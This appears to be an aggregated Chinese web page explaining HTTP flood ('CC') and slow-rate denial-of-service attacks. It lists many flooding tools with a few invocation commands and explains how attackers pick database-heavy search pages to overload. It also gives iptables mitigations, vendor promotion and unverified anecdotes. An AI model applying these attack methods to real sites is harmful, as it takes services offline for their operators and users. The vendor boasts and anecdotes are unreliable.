精华内容
下载资源
问答
  • 前天没事写了一个防CC攻击的Shell脚本,没想到这么快就要用上了,原因是因为360网站卫士的缓存黑名单突然无法过滤后台,导致WordPress无法登录!虽然,可以通过修改本地hosts文件来解决这个问题,但是还是想暂时取消...
  • 将anti_ddos和css文件夹上传到网站根目录 将上面的代码放在网站首页文件index.php里的最顶端 本源码仅支持php程序,类似百度云加速防CC访问机制,就能拦截一般的CC攻击了。
  • 实现代码: 代码如下:#!/bin/shcd /var/log/httpd/cat access_log|awk ‘{print $1}’|sort|uniq -c|sort -n -r|head -n 20 > acp /dev/null access_logcp /dev/null error_logcp /dev/null limit.shcp /dev/null ...
  • 本文主要介绍lua+Nginx下如何快速有效得防御CC攻击。至于如何安装Nginx就不详细介绍了,闲话少说,大家请看示例
  • 最简单易懂的CC攻击

    2018-10-13 12:14:20
    简单易懂 直接上手 网站提取IP 直接导入 实用
  • 较为全面的asp防CC攻击代码分享,主要是用session进行判断。
  • 主要介绍了CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放,需要的朋友可以参考下
  • ‘================== ‘飞云防CC攻击ASP程序插件 ‘建议除必须修改的参数内容外不要修改其他内容 ‘如果需要反馈错误或提交意见,可以到落伍(IM286.COM)联系 “正版飞云” ‘================== dim FYCC_19,FYCC...
  • cc攻击代码,支持udp复制代码 代码如下: <?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET[‘http’]; $rand = $_GET[‘exit’]; $exec_time...
  • ⑤、对于白名单过滤,只要将白名单 IP 保存到脚本同一目录下的 white_ip.txt 文件中即可,若发现攻击 IP 在白名单中,脚本不会直接拉黑,而是发一封邮件给你,让你自己判断这个白名单攻击你是为毛?如果白名单需要...
  • linux上防cc攻击,本脚本配置iptables使用,安装cckiller -i,卸载cckiller -U
  • CC攻击教程

    2019-12-06 12:54:12
    CC攻击教程
  • 防止cc攻击监控脚本

    2018-10-08 17:19:51
    C攻击是DDOS(分布式拒绝服务)的一种,相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到虚假IP,见不到特别大的异常流量,但造成...因此,大家有必要了解CC攻击的原理及如果发现CC攻击和对其的防范措施。
  • 一,准备工作 1,登录进VPS控制面板,准备好随时重启VPS。 ...二,找出攻击者IP 1,在网站根目录建立文件ip.php,写入下面的内容。  <?php  $real_ip = getenv(‘HTTP_X_FORWARDED_FOR’
  • 主要介绍了php实现cc攻击防御的方法和防止快速刷新页面示例,需要的朋友可以参考下
  • cc攻击

    千次阅读 2019-07-11 15:07:07
    DDoS攻击打的是网站的服务器,而CC攻击是针对网站的页面攻击的,用术语来说就是,一个是WEB网络层拒绝服务攻击(DDoS),一个是WEB应用层拒绝服务攻击(CC),网络层就是利用肉鸡的流量去攻击目标网站的服务器,针对...

    生成大量正常请求来使服务器的数据库等服务cpu爆满。

    cc与ddos的区别:

    DDoS攻击打的是网站的服务器,而CC攻击是针对网站的页面攻击的,用术语来说就是,一个是WEB网络层拒绝服务攻击(DDoS),一个是WEB应用层拒绝服务攻击(CC),网络层就是利用肉鸡的流量去攻击目标网站的服务器,针对比较本源的东西去攻击,服务器瘫痪了,那么运行在服务器上的网站肯定也不能正常访问了。而应用层就是我们用户看得到的东西,就比如说网页,CC攻击就是针对网页来攻击的,CC攻击本身是正常请求,网站动态页面的正常请求也会和数据库进行交互的,当这种"正常请求"达到一种程度的时候,服务器就会响应不过来,从而崩溃。每次双十一,在大家都忙着准备抢购商品的时候,各大电商平台的机房往往是灯火通明,紧张观察一切动态,各种流量清洗设备,软件硬件都用上了,就是怕到时候服务器崩掉了,那损失可不止一点,电商平台在这方面的投入资金也是比较大的。双十一前夕曾有人笑说, xxxx年最大的DDOS攻击即将来临。

    防御:

    1、服务器垂直扩展和水平扩容

    资金允许的情况下,这是最简单的一种方法,本质上讲,这个方法并不是针对CC攻击的,而是提升服务本身处理并发的能力,但确实提升了对CC攻击的承载能力。垂直扩展:是指增加每台服务器的硬件能力,如升级CPU、增加内存、升级SSD固态硬盘等。水平扩容:是指通过增加提供服务的服务器来提升承载力。上述扩展和扩容可以在服务的各个层级进行,包括:应用服务器、数据库服务器和缓存服务器等等。

    2、数据缓存(内存级别,不要用文件)

    对于服务中具备高度共性,多用户可重用,或单用户多次可重用的数据,一旦从数据库中检索出,或通过计算得出后,最好将其放在缓存中,后续请求均可直接从缓存中取得数据,减轻数据库的检索压力和应用服务器的计算压力,并且能够快速返回结果并释放进程,从而也能缓解服务器的内存压力。要注意的是,缓存不要使用文件形式,可以使用redis、mem—cached等基于内存的nosql缓存服务,并且与应用服务器分离,单独部署在局域网内。局域网内的网络IO肯定比起磁盘IO要高。为了不使局域网成为瓶颈,千兆网络也是有必要的。

    3、页面静态化

    与数据缓存一样,页面数据本质上也属于数据,常见的手段是生成静态化的hmll页面文件,利用客户端浏览器的缓存功能或者服务端的缓存服务,以及CDN节点的缓冲服务,均可以降低服务器端的数据检索和计算压力,快速响应结果并释放连接进程。

    4、用户级别的调用频率限制

    不管服务是有登陆态还是没登陆态,基于session等方式都可以为客户端分配唯一的识别ID(后称作SID),服务端可以将SID存到缓存中。当客户端请求服务时,如果没有带SID(cookie中或请求参数中等),则由服务端快速分配一个并返回。可以的话,本次请求可以不返回数据,或者将分配SID独立出业务服务。当客户端请求时带了合法SID(即SID能在服务端缓存中匹配到),便可以依据SID对客户端进行频率限制。而对于SID非法的请求,则直接拒绝服务。相比根据IP进行的频率限制,根据SID的频率限制更加精准可控,可最大程度地避免误杀隋况。

    5、IP限制

    最后,IP限制依然可以结合上述规则一起使用,但是可以将其前置至)JCb层的防火墙或负载均衡器上去做,并且可以调大限制的阈值,防止恶意访问穿透到应用服务器上,造成应用服务器压力。

    展开全文
  • CC主要是用来攻击页面的.大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢
  • Linux VPS下简单解决CC攻击的方法,需要的朋友可以参考下
  • 主要介绍了Nginx服务器抵御CC攻击的相关配置讲解,CC攻击原理与DDoS基本相似而且技术含量低,注意防范即可,需要的朋友可以参考下
  • CC攻击讲解

    千次阅读 2019-01-09 09:41:52
    最麻烦的攻击手段是cc攻击。下面我祥细讲讲CC攻击之后有什么表现,如何防御,有Cc有什么攻击类型。   案例:视频直播用户,被黑客Cc攻击勒索金钱!   早些年,最早做视频直播的是在韩国,他们在中国周边,也...

    DDoS攻击势头愈演愈烈,除了攻击手法的多样化发展之外,udp攻击是相对比如好防御,这是四层流量攻击。最麻烦的攻击手段是cc攻击。下面我祥细讲讲CC攻击之后有什么表现,如何防御,有Cc有什么攻击类型。

     

    案例:视频直播用户,被黑客Cc攻击勒索金钱!

     

    早些年,最早做视频直播的是在韩国,他们在中国周边,也就是延边那些地区招了一些会说韩语的女孩子陪韩国大叔聊天,韩国大叔就会给礼品。一天收入好几个亿韩币,后来知道的人多了,竞争就大了。韩国那边就要上搜索引擎打广告(类似百度竞价),只要排名第一位,就被人攻击,主要手段是Cc攻击。

     

    这是我们用的第一款Cc攻击工具,当时就是神器呀,100个线程,1000个代理服务器,直接打刷死。

     

    现在我们知道,有攻击就防护。兵来将挡水来土掩,可不知道韩国金主怎么想的,也许是韩国那边社团文化比较深入人心,很多站长会交赎金的。比如现在搜索引擎上面有三个网站,第一个网站主被Cc攻击瘫痪之后,就会接到中国黑客电话,网站想正常吗?给钱吧,1千万你网站就可以打开了(1千万韩币)因为网站主一天赚上亿,怕麻烦就给钱了。结果呢?

     

    结果就搞笑了,给完赎金,网站还打不开,过了20分钟又接到另一拨黑客打电话,给钱,不给赎金你网站就打开。接着给。刚给完,又接到第三拨黑客打电话,前面都是假的,都是骗子,你网站是我攻击的。

     

     

    Cc攻击是什么?

     

    CC = Challenge Collapsar,意为“挑战黑洞”,其前身名为Fatboy攻击,是利用不断对网站发送连接请求致使形成拒绝服务的目的。业界之所以把这种攻击称为CC(Challenge Collapsar),是因为在DDOS攻击发展前期,绝大部分的DDOS攻击都能被业界知名的“黑洞”(Collapsar)抵挡住,而CC攻击的产生就是为了挑战“黑洞”,故而称之为Challenge Collapsar。攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。

     

     

     

     

    怎么判断自己是在被CC攻击

     

    CC攻击主要工作原理是耗资源,这就需要看是那种攻击方式,

     

     

    看抓包分析是否是通过多IP,刷新页面,如果是这是最典型的Cc攻击。

     

    如果cc攻击你网站打不开,指定会有一种资源耗尽,才会引发网站打不开,打开卡。

    可自行判断一下,是下列四种情况中的那一种。

     

    1,耗Cpu资源

    黑客用1万台肉鸡,刷新你网站动态页面,如果你程序不够健壮,cpu直接100%

     

    2,耗内存资源

    黑客只要刷新你动态页面中搜索数据库的内容,只要搜索量一大,内存占满。网站直接打不开或者是非常卡。

    3,耗I/o资源

    黑客找到上传文件,或者是下载文件的页面,在不停的上传与下载,磁盘资源点满

    4,耗带宽资源

    下面这个带宽接10G,攻击上来2G,能看流量占用多少,如果流量占满了,服务器直接掉包,掉线。网站一点都打不开。

    如果自己主机上不去,你可以问运营商要流量图,机房都有流量图的。

     

     

    CC攻击目标分类

     

    跟据我这十年的统计,在2006年之前主要是网站会被Cc攻击,2008年之后,cc攻击大概分为几类目标,

    60%是网站,http,https,p2p网站,博彩网站,

    35%是游戏,SF,假人攻击

    5%,其它类型 Tcp CC攻击。

     

     

     

    CC攻击工具都有什么?

     

     

    1. 超强CC攻击器:只要输入攻击目标服务器的IP地址,设置好相关参数即可进行攻击。可设置攻击线程、攻击频率,利用大量代理服务器形成僵尸网络(设置代理服务器ip列表)。CC攻击工具致命攻击V2.0有大量的代理服务器。暗影DDoS压力测试系统V2016。

    2. DDoSIM可用于模拟对目标服务器的DDoS攻击,能模拟几个僵尸主机(IP地址具有随机性),这些主机与目标服务器建立完整的TCP连接。连接完成后,DDoSim启动与侦听应用程序如HTTP服务器的会话(?模拟正常用户访问的url???---仅仅是针对80端口发起正常的http请求,url就是/,多线程支持)。

    3. Darkddoser通过僵尸网络发起http攻击。

    4. 使用Microsoft Web Application Stress工具模拟HTTP-DDoS 攻击,采用直接访问测试页面的方式发起攻击。三台攻击机,每台攻击机最高并发1000线程(基于频率可检测、实验设置低频。。。自写的工具),迫使服务器执行大量计算和数据库查询,每次攻击时间为5分钟。

    5. Web Apple Pid DDoS攻击器:可设置目标服务器的页面(静态/动态)(单一、多个,自写的工具)、攻击频率等。

    6. LOIC是Web应用程序的Dos/DDos攻击,它可用TCP数据包、UDP数据包、HTTP请求对目标网站进行Dos/DDos测试,攻击手段主要是以无限循环方式(无僵尸网络、单一url)发送数据。是一种淹没式工具,能产生大量流量,占满目标网络或应用资源,造成拒绝服务。

    7. XOIC仅支持win7以上的Windows平台,比LOIC增加了Testmode模式,可以测试攻击主机的性能。

    8. HOIC可以配置攻击脚本,实际靠大量的HTTP请求进行DoS。其具有如下特点:高速多线程的HTTP洪水攻击;一次可同时洪水攻击高达256个网站;内置脚本系统,允许自行修改设置脚本,用来阻挠DDoS攻击的防御措施,并增加DOS输出;能够选择攻击的线程数。

     

    9. HULK:针对Web的拒绝服务攻击工具。能够在web服务器上产生许多单一的伪造浏览,伪造常见的参数名称和参数值,绕开引擎的缓存池(单一url、GOMAXPROCS=4 HULKMAXPROCS=4096 hulk -site http://example.com/example.php 2>/tmp/errlog)。

    10. WAS(web application stress tool是微软的一款性能测试工具,可以通过有限的客户端模拟大量的虚拟用户,并发地访问预先确定的页面或网站的URLs。每一个虚拟用户都能精确地仿效真实用户并在真实浏览器和网站服务器之间进行交互(https://www.90.vc/archives/11,压测工具,录制脚本,可以多个url,多线程)。

    11. Hping是一个基于命令行,编码和解析的TCP/IP协议的开源工具。也可以用于发动DDOS攻击,常用于发动ICMP、SYN和UDP洪水攻击等(pass,无应用层ddos)。

    12. 利用Httperf模拟针对Web服务器的DDoS攻击:通过设置hostname/IP address、url、请求速率、连接总数和服务器的反馈时间来模拟不同强度的分布式拒绝服务攻击。过程中需控制多台僵尸主机(httperf --client=0/1 --server=[YOUR_DOMAIN] --port=443 --uri=/a.php --rate=100 --send-buffer=4096 --recv-buffer=16384 --ssl --num-conns=50 --num-calls=1000,单一url、不排除同时多个url并发)。

    采用Httperf与Autobench相结合的方式来模拟应用层DDoS攻击,访问的服务器对象为某一校园网站。首先,直接通过抓包工具libpcap捕获正常用户的访问行为及数据包情况(性能测试工具)。其次是模拟应用层DDoS攻击行为。然后,分别对一定时间段内正常访问IP及攻击用户IP的数据包进行分析处理,提取相应的指标,并对指标数据进行预处理(autobench 是一款基于httperf的Perl脚本。它会在一次测试中调用多次httperf来对web服务器进行测试,每次会按照给定的参数增加并发连接数,将 httperf的测试结果保存为CSV格式的文件)。

    13. SlowHTTPTest:可配置的应用层拒绝服务攻击测试攻击。可以模拟低带宽耗费下的DoS攻击,如慢速攻击、通过并发连接池进行的慢速读攻击等(SlowHTTPTest是一款对服务器进行慢攻击的测试软件,所谓的慢攻击就是相对于cc或者DDoS的快而言的,并不是只有量大速度快才能把服务器搞挂,使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待,当服务器在保持连接等待时,自然就消耗了资源。Slowhttptest的源码托管在Github:https://github.com/shekyan/slowhttptest, pass)。

    14. Slowloris:属于Perl程序,只需在对应的SDK中运行即可。其攻击分为探测、实施两个步骤。探测的主要目的是探测目标服务器连接超时时间。实施攻击时可用单台主机也可选择数台主机并发攻击,选择多台主机产生的攻击效果更大(攻击192.168.0.1路由器网关。slowloris.py -s 999 -ua 192.168.0.1 –s 999 发送999个socket包。-ua 使用随机User Agent。pass)。

    15. 通过Music Machines-HTTP真实数据集搭建模拟真实网站,使用BadBoy录制攻击脚本,使用Apache Jmeter模拟傀儡主机进行模拟攻击行为。Apache Jmeter用于测试服务器功能和测量服务器性能。可用于测试静态和动态Web程序的性能。可用于模拟服务器或服务器组、网络对象的重负载请求,从而测试其强度,并分析在不同负载类型下测试对象的整体性能。(http://www.cnblogs.com/TankXiao/p/4045439.html,压测工具,可以设置多个url,多线程)

    给你发怎么多工具,不让你攻击别人,自己网站上线的时候,自己先个压力测试,别上线1000人就直接拒绝服务,这样的系统,回去接着改。否则找神仙来也防护不了你的网站。

     

    黑客是怎么发起CC攻击的

     

    黑客攻击一般不会简单的刷新首页,而是会找你最薄弱的环节进行攻击,换句话说黑客会找到网站最占资源的页面进行分析。这是需要一定的分析能力的,一个网站一般什么地方最占资源呢?

     

    需要分析网站使用的脚本语言,asp,asp.net,php,jsp 常用的脚本语言,找到带参数的地方,进行测试。

     

    例 hmw.asp?id=xxx

     

    一般带参数都是要查询数据库,

    select * from Artilce where id="id"

    而且如何使用cdn加速,也需要回源查询.一般的参数都不是最占资源的,黑客如果想刷新的源服务器,一般都是找搜索的地方,

     

    Get

    http://bbs.77169.com/searcher.php?kay=“搜索内容”

    如果是Get搜索,是黑客Cc攻击的重要页面

    Post

    http://bbs.77169.com/searcher.php

    有些搜索是post提交,黑客也会选择。

     

    原理很简单

    Artilce表,有1亿条数据,

    一条查询语句,如果查询成功还好,如果查询失败黑客给了一个不存在的值,他需要查询完1亿条数据,查完全部数据库,

    只需要提交100条,一般服务器就直接数据库卡死了。

    select * from Artilce where content like '%key%'

    下面黑客一般会怎么构造刷新的语句 

     

    程序可以自动生成随机字符,+表示随机字符标志+{N|U|L|C}+x N表示数字,U表示大写字母,L表示小写字母,C表示一个汉字,x是长度,规定为1-9。例子A+N1+U2+L3+C1BCD将可能生成A3BBcde%BA%CEBCD这样一个随机串攻击列表里面的添加规则{G|P}http://target.com:port/page.asp?id=+N3&name=+C3G表示Get模式 P表示POST模式,软件能够自己分辨出参数和HOST选项等等。

     

    比如Phttp://www.77169.com/abc.php?id=3 

    软件将用POST模式提交id=3到www.77169.com上面去

     

    攻击列表里面可以同时添加几个不同的服务器的URL,软件能够自动分别对待。

    实例操作是这样的

    分析有搜索页面

     

    http://www.test.com/searcher.php?kay=+N3&name=+C3G

     

    注意要选择随机攻击,随机字符。

     

    我们在被压力测试的目标主机抓包

     

     

    下面是日志分析生成的html页面,

     

    GET /searcher.php?kay=155&name=%C8%B1%F0%E2%E7%A0G

    GET /searcher.php?kay=155&name=%C8%B1%F0%E2%E7%A0G

     

    你看到多表,都是kay=3位随机数字&name=随机字符 。

    当代理主机ip主够多,刷新量最够大。黑客就达到了CC攻击的目的。

     

     

    CC攻击如何解决,如何防御?

     

     

    Cc攻击本质上是个什么问题?

    访问量超过现有资源使用率。

     

    比如你有一台服务器,每天正常有1万人访问,最大能支持每秒1000人同时访问。如果现在有每秒10万人访问,你服务器就会拒绝服务。

    超过你正常的访问量就一定是攻击吗?

     

    在国外idc,看来这个不是攻击。原因在于,有可能是正常访问。你还是一台服务器,今天将百度正常流量转到你的域名上,这些可能都正常用户,也没有用软件攻击,你服务器一样会拒绝服务。对吗?因为流量太大了。

     

    大家知道微博吧,没有人攻击他,微博也拒绝服务好几次,白话就是微博挂了。

    原因:赵丽颖冯绍峰亲自官宣结婚,一时间引爆微博,服务器迅速瘫痪。似乎印证了那一句,“发布结婚或者大八卦等消息的时候,能不能把微博服务器搞到崩溃,是检验明星咖位大小的重要标准之一!

     

     

    微博,没有人攻击,只要突然流量大了,也会拒绝服务。

     

    淘宝双11流量足够大吧?有一次他在春节联欢晚会上做了一个广告,

    结果呢?淘宝服务器挂了,原因,淘宝技术想法,我们先给资源能支持双11流量的3倍,结果是双11的10倍流量,淘宝也挂了。

     

    应对Cc攻击,理论只需要你的服务器数量与资源可以支持百万ip,每秒访问,服务就会正常。

     

    比如,你的服务器同时支持1万人在线,现在同时来10万人,你加20台服务器,一台平均分配到5000人在线,这不就解决问题了吗?那怕有9万是黑客ip.你也可以正常访问。

     

    所以不差钱,只需要加服务器加资源就可以。国外idc按流量收费,你Cc攻击大,正好收流量费,国外idc大部分不管你的。我就在美国刷爆过一张卡,买的美国丹佛机房的服务器,1T流量好像200美金,美国都是用信用卡流量超了自动扣费,有一天被人Cc攻击,5000美金被机房扣下来了,原因是流量跑超了。但是大部分客户都是投入与产出比的。每秒上千万Cc攻击的话,一天可能投入上百万。

     

    CC攻击防护策略,主要跟据攻击量而不同。

     

    Cc攻击量<10万/每秒

    Cc攻击如果10万ip,每秒10万左右连接,软件防火墙就可以解决。只需要软件策略就可以,软件比如,安全狗,云锁,这些软件不收钱。

     

    Cc攻击量>10万  and  Cc攻击量<100万

    Cc攻击如果在10~100万之间,软件防火墙解决不了,需要用到硬件防火墙。硬件,金盾,黑洞。如果有钱就买一个防火墙一般20~50万左右。一般这个攻击量,找idc机房或者是用cdn可以解决。

     

    Cc攻击量>100万  and  Cc攻击量<1000万

    Cc攻击如果在100~10000万之间,1台硬件防火墙解决不问题的。需要用到集群硬防。这个买一两个硬件是解决不了问题的,需要接入CDN或者是集群防护。

     

    CC攻击量上亿,每秒。

    市面上能买到软件与硬件都不好用,必须找人定制策略,定制防护方案。上亿的你可以考虑我们华安普特公司的3.0  全栈云化,立体式云防护。你可能要笑了,这广告打的。我们提供免费试用测试,防住之后再谈费用。防不住可以给你赔钱,不要不服可以来测试。

     

    接着我那个直播客户,怎么防住的。要防Cc先了解客户现在业务情况,没有一个防护方案是通用的,也没有一个硬件防火墙说不用调策略,直接适用所有类型的客户。

     

    客户这个分为网站,还有直播客户端两个流量来源。

    你看这个客户现在CDN节点,攻击流量每秒一个节点过百万,大概300万连接每秒。我们CDN云防节,一个节点100万并发左右。

     

    有攻击的节点,开启Cc防护识别,立马就下来,

    用anycast技术,进行分流。将超过100万每秒的流量进行分流,每个节点50万秒每秒,再用启用硬防策略。

     

     

    客户端接入我们sdk云防护,自动认别黑客的客户端,不给客户那边返回任何ip,不光防住了攻击。黑客手机mi码,手机号,ip都记下来下。下一步交给警方去处理,过几个月结果我再报告各位。

     

    BGP anycast 技术简介:

    利用一个(多个) as号码在不同的地区广播相同的一个ip段。
    利用bgp的寻路原则,短的as path 会选成最优路径(bgp寻路原则之n),从而优化了访问速度。

     

    其实bgp anycast是不同服务器用了相同的ip地址。我公司已经在俄罗斯,美国,韩国,香港,四个地区机房实现了anycast技术。

     

     

     

    sdk云防护技术简介:

    可以无限防Cc,不会误封ip,可以免费试用

    特点:

    无需修改源码集成,百万QPS级CC防护能力,分布式节点、弹性增减,多线路接入,TCP、HTTP/S层防护,实时阻断,低时延

     

    CC防御工具

     

    一般每秒1万个Cc连接之内,可以用到工具

    windows系统:

    云锁,安全狗,Cc终结者

     

    linux系统

    云锁,安全狗,

    iptables防火墙定制策略

     

    (1)控制单个IP的最大并发连接数

    iptables -I INPUT -p tcp --dport 80 -m connlimit  --connlimit-above 50 -j REJECT

     

     #允许单个IP的最大连接数为 30
    #默认iptables模块不包含connlimit,需要自己单独编译加载,编译内核加载connlimit模块

     

    (2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数

     

    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT

     

    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT


    #单个IP在60秒内只允许最多新建30个连接

     

    网站防护,你可以考虑用CDN,免费CDN

    http://www.aqcdn.net

    https://www.cloudflare.com/

    第一,CloudFlare

     

    CloudFlare算是比较大的国外免费CDN服务平台,提供免费和付费服务,一般我们使用主机的朋友都有清楚,甚至和CPANEL主机面板绑定可以给我们网站提速。如果是英文网站我们可以考虑使用,还具备防护攻击的作用,之前老左在linode的网站就被人无聊攻击,然后用CloudFlare就稍微好一些抵挡住。

    第二,Incapsula

     

    Incapsula是一家新加坡的CDN服务商,我们使用他的原因就是能够提供有新加坡节点的服务,英文网站使用肯定是没有问题,而且如果需要用到中文网站,新加坡节点速度对于国内的访问还是比较快的。去年老左有使用过,这家产品有时候一个月要维护好几次,不知道现在是否还这样。

    第三,TinyCDN

     

    TinyCDN是依靠亚马逊网络提供的CDN服务,主要还是收费用户免费的只能提供30天的试用,如果不怕折腾每月换一次的还是可以试试的。因为他们是主做付费的,所以免费用户我认为速度应该给予的不错,毕竟想忽悠我们升级付费嘛。

     

    CC攻击防御成功之后

     

     

    这不是给韩国几个哥们解决问题了吗?黑客群直接炸锅了,有些都直接上北京来问,谁能攻击这个网站呀,给钱呀,什么的。请教攻击方法的。我看到之后没干说是我给防御的。断了一些人财路,一直低调也没敢说。当年我们跟傲盾防火墙合作做的防御中心,

     

     

    这些朝鲜族人是真牛,直接给韩国的国际互联网打挂掉,中国防护好有什么用,韩国都连接不到中国的网络。怎么大的一个秘密,不是过去好多年,我都不敢说呀,这是我亲眼见到的,这边开始攻击,那个韩国互联网直接全断了,现在时间长了,互联网搜索不到韩国互联网断线的新闻了。有些做安全行业时间比较长的,应当会有印像。
     

    后来,因为黑客打不动中国自己防护,给韩国出口节点占满了,没办法只能给中国防护机器搬到韩国去做防护,现在韩国自己也有高防,但很坑,最多18G防护,多了没,韩国那边只要有攻击,上层运营商直接屏蔽ip.2019年1月1号之前,说有20G之上防护的韩国主机,都是吹牛皮的,别上当。因为那些防护就是我们中国人去做的。

     

    如果只有CC攻击,7层协议攻击防护不难,难度在于不影响正常客户。现在不可能只有一种攻击,黑客上来就是一套绷组合拳,ddos流量4层攻击,加Cc攻击,加syn变形攻击。攻防两端都在对抗中成长。有攻就有防,有防就会更新的攻击办法。

     

    早期防护主要原理是

     

    1. 早期的方法是对源 IP 的 HTTP 请求频率设定阈值,高于既定阈值的 IP 地址加入黑名单。这种方法过于简单,容易带来误杀,并且无法屏蔽来自代理服务器的攻击,因此逐渐废止,取而代之的是基于 JavaScript 跳转的人机识别方案。

    2.  

    3. HTTP Flood 是由程序模拟 HTTP 请求,一般来说不会解析服务端返回数据,更不会解析 JS之类代码。因此当清洗设备截获? HTTP 请求时,返回一段特殊 JavaScript 代码,正常用户的浏览器会处理并正常跳转不影响使用,而攻击程序会攻击到空处。 由于 HTTP/CC 攻击 的伪装方式千变万化,很少有策略或者硬件防护能做到完美清洗,所以,针对 HTTP/CC 攻击,我们大多时候需要具备一定技术的网络维护人员进行见招拆招。

     

    可以防护,但有一个最大的问题解决了。会误封ip,各硬件防火墙都说自己误封费是10万级,100万级。就是10个连接中会误封一个。我十几年测试经验告诉你,都是都吹牛的,实测试1万个连接中就会误封一个。如果这一个正好是网站大客户,这就亏大了。游戏有一个天天充钱的客户,你给他误封了。结果会损失很大。

     

    展开全文
  •  显然是网站受到的DDoS攻击。大家都有这样的经历,就是在访问某一公司网站或者论坛时,如果这个网站或者论坛流量比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,网站或论坛的页面越多,...
  • OpenResty 实践 CC 攻击防护--周俊.pdf
  • 一、 CC攻击的原理:  CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC主要是用来消耗服务器资源的,每个人都有这样的体验:当一个网页访问的人数特别...

    一、 CC攻击的原理: 

      CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC主要是用来消耗服务器资源的,每个人都有这样的体验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。

    二、CC攻击的种类:   

    CC攻击的种类有三种,直接攻击,代理攻击,僵尸网络攻击,直接攻击主要针对有重要缺陷的 WEB 应用程序,一般说来是程序写的有问题的时候才会出现这种情况,比较少见。僵尸网络攻击有点类似于 DDOS 攻击了,从 WEB 应用程序层面上已经无法防御,所以代理攻击是CC 攻击者一般会操作一批代理服务器,比方说 100 个代理,然后每个代理同时发出 10 个请求,这样 WEB 服务器同时收到 1000 个并发请求的,并且在发出请求后,立刻断掉与代理的连接,避免代理返回的数据将本身的带宽堵死,而不能发动再次请求,这时 WEB 服务器会将响应这些请求的进程进行队列,数据库服务器也同样如此,这样一来,正常请求将会被排在很后被处理,就象本来你去食堂吃饭时,一般只有不到十个人在排队,今天前面却插了一千个人,那么轮到你的机会就很小很小了,这时就出现页面打开极其缓慢或者白屏。

     

    三、CC攻击与DDOS的区别

           1) 什么是DDoS攻击?

    DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。常用的DDoS软件有:LOIC

    在这里补充两点:第一就是DDOS攻击不仅能攻击计算机,还能攻击路由器,因为路由器是一台特殊类型的计算机;第二是网速决定攻击的好和快,比如说,如果你一个被限制网速的环境下,它们的攻击效果不是很明显,但是快的网速相比之下更加具有攻击效果。

     

            2)什么是CC攻击?

     

       3)两者区别

    DDoS是针对IP的攻击,而CC攻击的是服务器资源。

     

    四、CC攻击的变异品种 慢速攻击

     

      1)什么是慢速攻击

    一说起慢速攻击,就要谈谈它的成名历史了。HTTP Post慢速DoS攻击第一次在技术社区被正式披露是2012年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。

    这个攻击的基本原理如下:对任何一个开放了HTTP访问的服务器HTTP服务器,先建立了一个连接,指定一个比较大的content-length,然后以非常低的速度发包,比如1-10s发一个字节,然后维持住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。

    和CC攻击一样,只要Web服务器开放了Web服务,那么它就可以是一个靶子,HTTP协议在接收到request之前是不对请求内容作校验的,所以即使你的Web应用没有可用的form表单,这个攻击一样有效。

    在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常的低廉。实际试验中一台普通PC可以建立的连接在3000个以上。这对一台普通的Web server,将是致命的打击。更不用说结合肉鸡群做分布式DoS了。

    鉴于此攻击简单的利用程度、拒绝服务的后果、带有逃逸特性的攻击方式,这类攻击一炮而红,成为众多攻击者的研究和利用对象。


      2)慢速攻击的分类

    发展到今天,慢速攻击也多种多样,其种类可分为以下几种:

    Slow headers:Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停的发送HTTP头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,每30秒才向服务器发送一个HTTP头部,而Web服务器再没接收到2个连续的\r\n时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。


    Slow body:攻击者发送一个HTTP POST请求,该请求的Content-Length头部值很大,使得Web服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据,但攻击客户端每次只发送很少量的数据,使该连接一直保持存活,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,发送了完整的HTTP头部,POST方法带有较大的Content-Length,然后每10s发送一次随机的参数。服务器因为没有接收到相应Content-Length的body,而持续的等待客户端发送数据。


